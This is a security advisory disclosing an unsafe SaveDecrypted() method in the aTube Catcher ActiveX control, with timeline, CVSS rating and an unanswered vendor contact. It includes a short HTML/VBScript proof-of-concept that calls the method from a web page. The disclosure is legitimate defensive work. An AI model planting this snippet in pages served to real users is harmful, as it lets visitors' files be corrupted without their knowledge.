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Insecure Method in aTube Catcher ActiveX Control

Advisory ID:HTB23013
Product:aTube Catcher
Vendor:Diego Uscanga
Vulnerable Versions:2.3.570 and probably prior
Tested Version:2.3.570
Advisory Publication:June 1, 2011 [without technical details]
Vendor Notification:June 1, 2011
Public Disclosure:July 6, 2011
Latest Update:July 6, 2011
Vulnerability Type:Exposed Unsafe ActiveX Method [CWE-618]
Risk Level:Medium
CVSSv2 Base Score:5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in aTube Catcher ActiveX Control which could be exploited to perform denial of service attacks.

1) Insecure method in aTube Catcher ActiveX Control
The vulnerability exists due to existence of insecure method SaveDecrypted() in the ChilkatCrypt2.ChilkatOmaDrm.1 (ChilkatCrypt2.dll) ActiveX control. A remote attacker can trick user into visiting a specially crafted webpage and corrupt arbitrary files on the target system with privileges of the current user.
Exploitation example:
<object classid='clsid:0B70AB61-5C95-4126-9985-A32531CA8619' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
target.SaveDecrypted arg1
End Sub

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB23013 - - Insecure Method in aTube Catcher ActiveX Control
[2] aTube Catcher - - aTube Catcher is a simple freeware application focused to individuals and students for personal, private and non-commercial purposes.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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